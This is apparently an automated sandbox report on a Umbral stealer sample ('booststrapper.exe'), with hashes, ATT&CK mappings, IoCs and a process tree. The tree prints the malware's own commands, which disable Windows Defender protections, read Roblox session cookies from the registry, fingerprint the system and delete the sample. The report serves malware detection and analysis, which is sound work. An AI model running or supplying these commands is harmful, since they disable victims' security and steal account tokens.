umbral | b467810a9eaab64b217e6a0cf61e2f13efe7e8e211b9d11a47c06218b48badce

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
31-07-2024 21:08

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General

Target

booststrapper.exe
Size

231KB
MD5

2bb0fafc29a110fc1b08a2999e29a7ae
SHA1

10c76fd141b1a2c3a74a134cdf4166d44cf3507a
SHA256

b467810a9eaab64b217e6a0cf61e2f13efe7e8e211b9d11a47c06218b48badce
SHA512

d4006ab772424a4b5288fdfa368f47c35ddf3f5cefd741766ee19465fa4d29f99c044cbc8334f5f4df61ec17251b7ab377df8078e44ff725b6d86a0a4888ac62
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD445IbGELnsFd42X3Wjwb8e1mtPi:joZtL+EP845IbGELnsFd42X3Wkoa

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2996-1-0x0000000000EF0000-0x0000000000F30000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2884	powershell.exe
2700	powershell.exe
2596	powershell.exe
2036	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	booststrapper.exe

Deletes itself 1 IoCs

pid	Process
2404	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2404	cmd.exe
2192	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2824	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2192	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2996	booststrapper.exe
2884	powershell.exe
2700	powershell.exe
2596	powershell.exe
2128	powershell.exe
2036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	booststrapper.exe
Token: SeIncreaseQuotaPrivilege	2432	wmic.exe
Token: SeSecurityPrivilege	2432	wmic.exe
Token: SeTakeOwnershipPrivilege	2432	wmic.exe
Token: SeLoadDriverPrivilege	2432	wmic.exe
Token: SeSystemProfilePrivilege	2432	wmic.exe
Token: SeSystemtimePrivilege	2432	wmic.exe
Token: SeProfSingleProcessPrivilege	2432	wmic.exe
Token: SeIncBasePriorityPrivilege	2432	wmic.exe
Token: SeCreatePagefilePrivilege	2432	wmic.exe
Token: SeBackupPrivilege	2432	wmic.exe
Token: SeRestorePrivilege	2432	wmic.exe
Token: SeShutdownPrivilege	2432	wmic.exe
Token: SeDebugPrivilege	2432	wmic.exe
Token: SeSystemEnvironmentPrivilege	2432	wmic.exe
Token: SeRemoteShutdownPrivilege	2432	wmic.exe
Token: SeUndockPrivilege	2432	wmic.exe
Token: SeManageVolumePrivilege	2432	wmic.exe
Token: 33	2432	wmic.exe
Token: 34	2432	wmic.exe
Token: 35	2432	wmic.exe
Token: SeIncreaseQuotaPrivilege	2432	wmic.exe
Token: SeSecurityPrivilege	2432	wmic.exe
Token: SeTakeOwnershipPrivilege	2432	wmic.exe
Token: SeLoadDriverPrivilege	2432	wmic.exe
Token: SeSystemProfilePrivilege	2432	wmic.exe
Token: SeSystemtimePrivilege	2432	wmic.exe
Token: SeProfSingleProcessPrivilege	2432	wmic.exe
Token: SeIncBasePriorityPrivilege	2432	wmic.exe
Token: SeCreatePagefilePrivilege	2432	wmic.exe
Token: SeBackupPrivilege	2432	wmic.exe
Token: SeRestorePrivilege	2432	wmic.exe
Token: SeShutdownPrivilege	2432	wmic.exe
Token: SeDebugPrivilege	2432	wmic.exe
Token: SeSystemEnvironmentPrivilege	2432	wmic.exe
Token: SeRemoteShutdownPrivilege	2432	wmic.exe
Token: SeUndockPrivilege	2432	wmic.exe
Token: SeManageVolumePrivilege	2432	wmic.exe
Token: 33	2432	wmic.exe
Token: 34	2432	wmic.exe
Token: 35	2432	wmic.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeIncreaseQuotaPrivilege	2152	wmic.exe
Token: SeSecurityPrivilege	2152	wmic.exe
Token: SeTakeOwnershipPrivilege	2152	wmic.exe
Token: SeLoadDriverPrivilege	2152	wmic.exe
Token: SeSystemProfilePrivilege	2152	wmic.exe
Token: SeSystemtimePrivilege	2152	wmic.exe
Token: SeProfSingleProcessPrivilege	2152	wmic.exe
Token: SeIncBasePriorityPrivilege	2152	wmic.exe
Token: SeCreatePagefilePrivilege	2152	wmic.exe
Token: SeBackupPrivilege	2152	wmic.exe
Token: SeRestorePrivilege	2152	wmic.exe
Token: SeShutdownPrivilege	2152	wmic.exe
Token: SeDebugPrivilege	2152	wmic.exe
Token: SeSystemEnvironmentPrivilege	2152	wmic.exe
Token: SeRemoteShutdownPrivilege	2152	wmic.exe
Token: SeUndockPrivilege	2152	wmic.exe
Token: SeManageVolumePrivilege	2152	wmic.exe
Token: 33	2152	wmic.exe
Token: 34	2152	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 2432	2996	booststrapper.exe	30
PID 2996 wrote to memory of 2432	2996	booststrapper.exe	30
PID 2996 wrote to memory of 2432	2996	booststrapper.exe	30
PID 2996 wrote to memory of 2868	2996	booststrapper.exe	33
PID 2996 wrote to memory of 2868	2996	booststrapper.exe	33
PID 2996 wrote to memory of 2868	2996	booststrapper.exe	33
PID 2996 wrote to memory of 2884	2996	booststrapper.exe	35
PID 2996 wrote to memory of 2884	2996	booststrapper.exe	35
PID 2996 wrote to memory of 2884	2996	booststrapper.exe	35
PID 2996 wrote to memory of 2700	2996	booststrapper.exe	37
PID 2996 wrote to memory of 2700	2996	booststrapper.exe	37
PID 2996 wrote to memory of 2700	2996	booststrapper.exe	37
PID 2996 wrote to memory of 2596	2996	booststrapper.exe	39
PID 2996 wrote to memory of 2596	2996	booststrapper.exe	39
PID 2996 wrote to memory of 2596	2996	booststrapper.exe	39
PID 2996 wrote to memory of 2128	2996	booststrapper.exe	41
PID 2996 wrote to memory of 2128	2996	booststrapper.exe	41
PID 2996 wrote to memory of 2128	2996	booststrapper.exe	41
PID 2996 wrote to memory of 2152	2996	booststrapper.exe	43
PID 2996 wrote to memory of 2152	2996	booststrapper.exe	43
PID 2996 wrote to memory of 2152	2996	booststrapper.exe	43
PID 2996 wrote to memory of 532	2996	booststrapper.exe	45
PID 2996 wrote to memory of 532	2996	booststrapper.exe	45
PID 2996 wrote to memory of 532	2996	booststrapper.exe	45
PID 2996 wrote to memory of 1268	2996	booststrapper.exe	47
PID 2996 wrote to memory of 1268	2996	booststrapper.exe	47
PID 2996 wrote to memory of 1268	2996	booststrapper.exe	47
PID 2996 wrote to memory of 2036	2996	booststrapper.exe	49
PID 2996 wrote to memory of 2036	2996	booststrapper.exe	49
PID 2996 wrote to memory of 2036	2996	booststrapper.exe	49
PID 2996 wrote to memory of 2824	2996	booststrapper.exe	51
PID 2996 wrote to memory of 2824	2996	booststrapper.exe	51
PID 2996 wrote to memory of 2824	2996	booststrapper.exe	51
PID 2996 wrote to memory of 2404	2996	booststrapper.exe	53
PID 2996 wrote to memory of 2404	2996	booststrapper.exe	53
PID 2996 wrote to memory of 2404	2996	booststrapper.exe	53
PID 2404 wrote to memory of 2192	2404	cmd.exe	55
PID 2404 wrote to memory of 2192	2404	cmd.exe	55
PID 2404 wrote to memory of 2192	2404	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2868	attrib.exe

C:\Users\Admin\AppData\Local\Temp\booststrapper.exe
"C:\Users\Admin\AppData\Local\Temp\booststrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2432
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\booststrapper.exe"
  2⤵
  - Views/modifies file attributes
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\booststrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2128
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2824
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\booststrapper.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YVKJNYKMOJBJX8YDO1VA.temp

Filesize
7KB

MD5
81356aec06dbcf7540ac3d23bac20056

SHA1
c44662220d90448a595fb83f301f68464277f6ce

SHA256
f0763041222b0847fd8029d1580cc2821bd57d66b173ecb06fc7603b14b65e94

SHA512
5fbf87bfcef2cf19a4417a7d2f1a8e322fd4a1a0984ecb833a410e8aa79a2232d7945bc1f76564b4abf39f73e08e9b7dd61159205e39dbd5b3e375fad2233bda

Download Submit
memory/2036-43-0x00000000004F0000-0x00000000004F8000-memory.dmp

Filesize
32KB

Download
memory/2700-14-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2700-15-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2884-7-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2884-8-0x0000000001F60000-0x0000000001F68000-memory.dmp

Filesize
32KB

Download
memory/2996-0-0x000007FEF54A3000-0x000007FEF54A4000-memory.dmp

Filesize
4KB

Download
memory/2996-1-0x0000000000EF0000-0x0000000000F30000-memory.dmp

Filesize
256KB

Download
memory/2996-2-0x000007FEF54A0000-0x000007FEF5E8C000-memory.dmp

Filesize
9.9MB

Download
memory/2996-47-0x000007FEF54A0000-0x000007FEF5E8C000-memory.dmp

Filesize
9.9MB

Download